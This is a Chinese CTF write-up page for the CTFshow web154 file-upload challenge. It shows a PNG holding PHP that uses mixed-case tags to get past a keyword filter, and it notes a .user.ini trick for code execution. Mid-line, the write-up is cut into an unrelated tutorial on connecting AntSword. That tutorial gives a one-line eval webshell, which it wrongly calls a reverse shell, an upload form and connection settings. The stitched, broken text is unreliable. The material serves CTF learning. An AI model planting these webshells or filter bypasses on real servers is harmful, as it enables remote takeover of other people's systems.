CTFshow 文件上传 web154

本文详细描述了一次CTF挑战中遇到的文件上传问题。通过尝试上传含有shell的PNG文件并分析上传失败的原因,作者发现系统可能过滤了PHP相关关键字。通过使用大小写绕过过滤,成功上传了.shell.png文件。进一步,利用.user.ini文件的特性,实现了RCE(远程代码执行)。总结中强调了理解文件过滤机制和利用技巧在解决此类问题中的关键作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录


思路

上传一个包含shell的png文件,发现上传失败

在这里插入图片描述

清空文件内容,发现上传成功,可能过滤文件中的关键字,经过尝试,猜测文件对php进行过滤,可以用大小写来绕过

在这里插入图片描述
shell.png

<?phP
 echo 123;pHpinfo();eval($_POST[
### CTFShow Web 入门 文件上传 蚁剑 (AntSword) 连接教程 #### 准备工作 为了成功完成文件上传并利用蚁剑建立连接,需先准备环境。确保已安装蚁剑客户端,并准备好用于测试的恶意PHP脚本。 #### PHP Shell Payload 创建 创建一个简单的PHP反向Shell脚本 `shell.php`: ```php <?php @eval($_POST['cmd']);?> ``` 此代码片段允许通过POST请求执行任意命令[^1]。 #### 文件上传过程 使用给定URL进行文件上传操作。假设目标地址为 `http://example.com/upload` ,则可构造如下表单数据提交至服务器: ```html <form action="http://example.com/upload" method="post" enctype="multipart/form-data"> Select file to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload File" name="submit"> </form> ``` 将之前编写的 `shell.php` 作为待上传文件选择并提交[^2]。 #### 验证上传成果 确认文件是否成功上载到远程服务器指定目录下。通常情况下,可以通过浏览器直接访问该路径来验证,例如:`http://example.com/uploads/shell.php` 。如果页面返回空白,则说明上传成功。 #### 使用蚁剑连接 启动蚁剑工具,在新建站点时输入相应的参数配置: - **网站根目录**: `/var/www/html/` - **WebShell URL**: 如前所述成功的PHP shell链接 - **密码**: 设置于PHP代码中的密钥 (`cmd`) 按照上述设置完成后点击“保存”,随后即可尝试与远端服务器建立会话连接[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值